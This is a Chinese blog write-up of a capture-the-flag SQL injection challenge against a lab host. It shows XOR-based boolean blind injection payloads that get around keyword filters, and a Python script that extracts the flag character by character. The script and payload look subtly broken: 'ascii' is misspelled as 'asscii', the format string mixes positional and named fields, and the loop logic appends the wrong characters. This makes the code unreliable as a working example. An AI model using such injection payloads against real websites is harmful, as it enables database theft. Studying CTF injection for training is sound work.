打开题目,

我们开始尝试注入,

输入0回显Error Occured When Fetch Result.

输入1回显Hello, glzjin wants a girlfriend.

输入2回显Do you want to be my girlfriend?

输入大于2的数回显:Error Occured When Fetch Result.

但是有趣的是,我们输入1/1结果回显了Hello, glzjin wants a girlfriend.

于是我们判断它是数字型注入

然后我们继续测试,发现过滤了很多关键字 如:or  、 union、and等,但是没有过滤()于是我们可以使用很多函数

在这里我们使用bool(false)盲注,而且用到了异或,这东西相当于or的用法

0^0  //false

0^1  //true

于是构造payload: 0^(asscii(substr((select(flag)from(flag)),1,1))>0)

然后我们通过burpsuite发包,结果回显正常

 

 于是我们就开始写exp: 这里读了大佬的脚本,我读了半天才读懂,希望可以给大家带来的新的知识吧

import requests
import time
url="http://2a0a6c19-14aa-4d4a-9201-781b95825f15.node3.buuoj.cn/index.php"
flag=""
payload={
      "id" : ""  
}
for i in range(1,43):
    for j in range(29,129):
        payload["id"]="0^(asscii((substr(select(flag)from(flag)),{0},1))={j})".format(i,j)
        html=requests.post(url,data=payload)
        if "Hello, glzjin wants a girlfriend" in html.text:
            break;
        if j>128:
            continue;
        flag=flag+chr(j)
        print(flag)
        time.sleep(2) 

  python一定要注意段落缩进,我跑了半天说我缩进有问题,我也是服了,也是自己不知道python的语言规则吧,吃一堑长一智。

然后我们就可以跑出flag了。

也是看了很久大佬的wp才学会这样玩,真舒服。继续加油吧

版权声明:本文为junlebao原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/junlebao/p/13825411.html